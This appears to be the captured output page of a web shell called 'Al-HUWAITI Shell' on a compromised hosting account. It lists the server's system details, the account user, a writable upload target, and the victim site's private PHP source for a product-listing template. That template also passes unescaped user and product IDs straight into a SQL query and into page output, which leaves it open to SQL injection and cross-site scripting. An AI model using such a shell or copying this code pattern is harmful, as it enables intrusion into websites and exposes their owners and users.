Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/public_html/product_similar.php
<div class="products-single fix">
    <div class="box-img-hover">
        <div class="type-lb">
            <?php if($new_tagd == "Yes"){echo"<p class='new'>New</p>";} ?>
        </div>
        <img src="<?php echo $admin_no; ?>/assets/img/products/<?php echo $product_imaged; ?>" class="img-fluid" alt="<?php echo $product_titled; ?>">
        <div class="mask-icon">
            <ul>
                <li><a href="product_details.php?product=<?php echo $product_idd; ?>" data-toggle="tooltip" data-placement="right" title="View"><i class="fas fa-eye"></i></a></li>

               <?php if($user_id !==""){ 
                //then this part is for likes
                $get_likes = mysqli_query($con,"SELECT * FROM favs WHERE user_id='$user_id' AND product_id='$product_idd'")or die(mysqli_error($con));
                if(mysqli_num_rows($get_likes) == 0){ 
                    $fas_or_far = "far";
                    $icon_text = "Add to Wishlist";
                }
                else{
                    $fas_or_far = "fas";
                    $icon_text = "Remove from Wishlist";
                } ?>
                <li>
                    <a style='color:white;' href='#' class=''  title="Wishlist" data-toggle="" id="toggle_link" data-placement="right">
                        <i class="far fa-heart"></i>
                    </a>
                </li>
                <?php }else{ ?>
                    <li>
                    <a style='color:white;' href='sign_in.php' class=''  title="Wishlist" data-toggle="" id="toggle_link" data-placement="right">
                        <i class="far fa-heart"></i>
                    </a>
                </li>    
              <?php  } ?>
                <script>
                    jQuery(document).ready(function($){
						$('.heart_similar<?php echo"$product_idd"; ?>').on('click',function() {
						  $(this).find("i").toggleClass("far fas selected-heart border-heart");
                          let title = $("#toggle_link").attr("title");
                          console.log(title);
                            if (title == "Add to Wishlist"){
                                $('#toggle_link'). attr("title", 'Remove from Wishlist');
                            }
                            if (title == "Remove from Wishlist"){
                                $('#toggle_link'). attr("title", 'Add to Wishlist');
                            }
                          var xhttp = new XMLHttpRequest();
						  xhttp.onreadystatechange = function() {
							if (this.readyState == 4 && this.status == 200) {
							 document.getElementById("demo").innerHTML = this.responseText;
							}
						  };
						  xhttp.open("GET", "update_fav.php?user_id=<?php echo"$user_id"; ?>&product_id=<?php echo"$product_idd"; ?>", true);
						  xhttp.send();

						});
                    });
					</script>

            </ul>
            <?php if($in_stockd == "Yes") { ?>
            <a class="cart" pid='<?php echo $product_idd; ?>' id='product' title='Add to Cart'>Add to Cart</a>
            <?php } ?>
        </div>
    </div>
    <div class="why-text">
         <span class='star_color'>
            <?php include("rating1.php");?>
        </span>
        <?php echo "$rating_display"; ?>
        <h4><?php echo $product_titled; ?></h4>
        <h5> <?php echo $currency; ?><?php echo number_format((float)$product_priced, 2, '.', ','); ?></h5>
    </div>
</div>

Al-HUWAITI Shell